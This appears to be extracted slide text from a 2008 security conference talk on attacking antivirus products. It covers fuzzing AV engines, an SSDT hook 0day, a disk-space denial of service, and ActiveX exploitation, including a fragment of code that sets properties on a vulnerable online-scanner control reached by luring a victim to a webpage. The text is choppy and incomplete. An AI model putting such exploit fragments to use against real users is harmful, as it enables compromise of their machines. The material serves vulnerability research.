Attacking Antivirus Feng Xue Syscan’08 HongKong Who Am I Technical Lead at Nevis Labs Most of the time working on the Vulnerability discovery Vulnerability analysis M$ Black Tuesday, etc.
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What if attackers attack antivirus?
space verification . DC2.exe
Rising Antivirus SSDT Hook 0day
Fuzzing and Manually audit
Most of the Engine problem exists in the Format Parsing
NOD32 Disk Space D.o.S
What we need?
How? 4 steps
FuzzingMcafee for 0day ;)
By auditing the mainstream Antivirus Engine, we have found and published:
ActiveX - Exploitation
Convince the victim to visit a webpage
Rising Online Scanner ActiveX Control Insecure Method by John Smith
153" id="rav" > </object>
rav.BaseURL = "http://www.example.com/";
rav.Encardid = "0000$0000$0000";
Exploiting AhnLab AV through Web
Antivirus engine exploitation is just limited by your imagination!
One Suggestion for the design